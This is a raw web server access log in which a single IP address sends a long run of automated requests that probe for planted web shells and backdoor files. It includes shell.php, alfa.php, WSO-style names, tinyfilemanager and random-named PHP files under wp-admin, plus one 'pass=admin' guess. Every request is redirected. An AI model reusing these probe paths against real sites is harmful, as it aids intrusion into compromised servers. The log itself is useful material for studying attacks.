[16/Apr/2025:16:01:12 -0400] "GET /qc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:13 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:14 -0400] "GET /rO1GEuJydNZ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:15 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:17 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:18 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:19 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:21 -0400] "GET /rbh/log.ph HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:21 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:22 -0400] "GET /readme.php/wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:23 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:23 -0400] "GET /rk1W6vMJj8y.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:24 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:25 -0400] "GET /root/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:27 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:28 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:29 -0400] "GET /sHS.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:30 -0400] "GET /sMG.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:31 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:31 -0400] "GET /sb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:32 -0400] "GET /schema.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:33 -0400] "GET /secure/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:34 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:36 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:38 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:39 -0400] "GET /setup-config.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:40 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:41 -0400] "GET /shell.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:42 -0400] "GET /shell/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:43 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:45 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:47 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:48 -0400] "GET /shop/lock.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:49 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:50 -0400] "GET /sidebar.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:52 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:53 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:53 -0400] "GET /sim.php/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:55 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:56 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:57 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:57 -0400] "GET /simple/function.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:58 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:58 -0400] "GET /sitemap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:59 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:01:59 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:00 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:01 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:02 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:03 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:04 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:05 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:06 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:07 -0400] "GET /system//default.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:07 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:08 -0400] "GET /system_log.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:09 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:09 -0400] "GET /t4MyJ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:10 -0400] "GET /tB.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:10 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:12 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:12 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:13 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:14 -0400] "GET /templates/natural.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:14 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:15 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:16 -0400] "GET /test.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:16 -0400] "GET /test/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:17 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:17 -0400] "GET /tghuGZVrERD.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:18 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:18 -0400] "GET /themes/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:19 -0400] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:19 -0400] "GET /tiny.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:20 -0400] "GET /tiny.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:20 -0400] "GET /tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:21 -0400] "GET /tinyfilemanager.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:21 -0400] "GET /tinyfilemanager/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:22 -0400] "GET /tinyfilemanager/tinyfilemanager.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:23 -0400] "GET /tkpKSqOfFIE.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:24 -0400] "GET /tmpls.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:26 -0400] "GET /tqy.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:26 -0400] "GET /tsRBxmo.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:27 -0400] "GET /ty.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:29 -0400] "GET /ty.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:29 -0400] "GET /u.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:30 -0400] "GET /uWjxHmRO9AM.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:31 -0400] "GET /up.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:32 -0400] "GET /up.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:34 -0400] "GET /updates.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:35 -0400] "GET /upload.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:36 -0400] "GET /upload/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:37 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:38 -0400] "GET /upload/upload.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:38 -0400] "GET /upload/wp-info.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:39 -0400] "GET /uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:39 -0400] "GET /uploads/.1/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:40 -0400] "GET /uploads/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:41 -0400] "GET /uploads/test.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:42 -0400] "GET /uploads/up.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:43 -0400] "GET /used HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:44 -0400] "GET /user.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:45 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:45 -0400] "GET /uvrDZ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:46 -0400] "GET /v.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:48 -0400] "GET /vSiY7GNIxVH.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:50 -0400] "GET /var/www/html/uploads/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:52 -0400] "GET /vendor/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:54 -0400] "GET /w.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:55 -0400] "GET /wb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:56 -0400] "GET /wcqLft7.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:57 -0400] "GET /we.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:58 -0400] "GET /web.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:02:58 -0400] "GET /webadmin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:00 -0400] "GET /wi.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:01 -0400] "GET /wikindex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:02 -0400] "GET /winamp/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:05 -0400] "GET /wkG.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:07 -0400] "GET /woh.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:08 -0400] "GET /wordpress/wp-includes/IXR/allez.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:10 -0400] "GET /wordpress/wp-includes/wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:11 -0400] "GET /worm0.PhP7 HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:11 -0400] "GET /wp-2019.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:12 -0400] "GET /wp-Owl.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:12 -0400] "GET /wp-add-admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:13 -0400] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:14 -0400] "GET /wp-admin.phphttps://diegun.com/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:15 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:16 -0400] "GET /wp-admin//fmadmin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:17 -0400] "GET /wp-admin/31eqRsJgQ6n.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:17 -0400] "GET /wp-admin/404.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:18 -0400] "GET /wp-admin/5gTfXRhIqkW.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:18 -0400] "GET /wp-admin/7EPezNYMy84.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:20 -0400] "GET /wp-admin/8h4AoSFJCLO.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:21 -0400] "GET /wp-admin/9pX1s4oMLtC.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:22 -0400] "GET /wp-admin/AhqPecJ6oky.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:23 -0400] "GET /wp-admin/FriUsGzT5d7.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:26 -0400] "GET /wp-admin/GkXRTpxowKQ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:27 -0400] "GET /wp-admin/ILNqJhgUpAG.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:29 -0400] "GET /wp-admin/LaAkNhWMyOQ.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:29 -0400] "GET /wp-admin/MDO8adG9euX.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:31 -0400] "GET /wp-admin/NFBqIyOZcQL.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:32 -0400] "GET /wp-admin/O5pANR6rDXx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:33 -0400] "GET /wp-admin/RqdXEex3Jfb.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:34 -0400] "GET /wp-admin/UmpVR1Ersn8.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:36 -0400] "GET /wp-admin/WvASxq1D2c8.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:36 -0400] "GET /wp-admin/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:38 -0400] "GET /wp-admin/admiin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:39 -0400] "GET /wp-admin/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:39 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:40 -0400] "GET /wp-admin/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:41 -0400] "GET /wp-admin/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:42 -0400] "GET /wp-admin/ccx/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:43 -0400] "GET /wp-admin/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:44 -0400] "GET /wp-admin/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:44 -0400] "GET /wp-admin/cong.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:45 -0400] "GET /wp-admin/css/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:46 -0400] "GET /wp-admin/css//about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:47 -0400] "GET /wp-admin/css//forbidden.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:48 -0400] "GET /wp-admin/css//item.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:49 -0400] "GET /wp-admin/css/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:49 -0400] "GET /wp-admin/css/about.php/alfacgiapi/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:50 -0400] "GET /wp-admin/css/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:51 -0400] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:52 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:52 -0400] "GET /wp-admin/css/colors//Admin-Author.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:55 -0400] "GET /wp-admin/css/colors//about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:55 -0400] "GET /wp-admin/css/colors//moon.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:56 -0400] "GET /wp-admin/css/colors/aPRTXyP.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:57 -0400] "GET /wp-admin/css/colors/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:57 -0400] "GET /wp-admin/css/colors/blue/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:58 -0400] "GET /wp-admin/css/colors/blue/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:59 -0400] "GET /wp-admin/css/colors/blue/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:03:59 -0400] "GET /wp-admin/css/colors/blue/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:00 -0400] "GET /wp-admin/css/colors/blue/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:01 -0400] "GET /wp-admin/css/colors/blue/index.php/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:01 -0400] "GET /wp-admin/css/colors/blue/index.php/.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:02 -0400] "GET /wp-admin/css/colors/blue/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:03 -0400] "GET /wp-admin/css/colors/blue/lock.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:03 -0400] "GET /wp-admin/css/colors/blue/moon.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:04 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:05 -0400] "GET /wp-admin/css/colors/coffee/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:06 -0400] "GET /wp-admin/css/colors/coffee/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:06 -0400] "GET /wp-admin/css/colors/coffee/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:07 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:08 -0400] "GET /wp-admin/css/colors/ectoplasm//my1.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:08 -0400] "GET /wp-admin/css/colors/ectoplasm/users.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:09 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:10 -0400] "GET /wp-admin/css/colors/ectoplasm/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:12 -0400] "GET /wp-admin/css/colors/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:14 -0400] "GET /wp-admin/css/colors/light/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:16 -0400] "GET /wp-admin/css/colors/light/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:18 -0400] "GET /wp-admin/css/colors/midnight/IUSPPi.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:18 -0400] "GET /wp-admin/css/colors/midnight/colors.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:19 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:21 -0400] "GET /wp-admin/css/colors/ocean/wp-post.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:22 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:23 -0400] "GET /wp-admin/css/colors/wp-post.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:23 -0400] "GET /wp-admin/css/colors/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:24 -0400] "GET /wp-admin/css/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:25 -0400] "GET /wp-admin/css/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:26 -0400] "GET /wp-admin/css/index.php?pass=admin HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:27 -0400] "GET /wp-admin/css/network.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:28 -0400] "GET /wp-admin/css/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:29 -0400] "GET /wp-admin/css/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:30 -0400] "GET /wp-admin/css/wp-login.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:30 -0400] "GET /wp-admin/css/x2.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:31 -0400] "GET /wp-admin/cux.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:31 -0400] "GET /wp-admin/date.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:32 -0400] "GET /wp-admin/dropdown.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:32 -0400] "GET /wp-admin/fIPCHgi5lwx.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:33 -0400] "GET /wp-admin/file.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:33 -0400] "GET /wp-admin/ftpnMRS2BQw.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:33 -0400] "GET /wp-admin/function.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:34 -0400] "GET /wp-admin/gLMkHUftdyF.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:34 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:35 -0400] "GET /wp-admin/images//Mhbgf.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:35 -0400] "GET /wp-admin/images//links.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:36 -0400] "GET /wp-admin/images//mlm.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:36 -0400] "GET /wp-admin/images//wp-signup.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:36 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:37 -0400] "GET /wp-admin/images/admin.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:38 -0400] "GET /wp-admin/images/atomlib.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:38 -0400] "GET /wp-admin/images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:38 -0400] "GET /wp-admin/images/chosen.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:39 -0400] "GET /wp-admin/images/cloud.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:39 -0400] "GET /wp-admin/images/index.php HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:40 -0400] "GET /wp-admin/images/index.php?p= HTTP/1.1" 301 795 "-" "-" 40.69.36.253 - - [16/Apr/2025:16:04:41 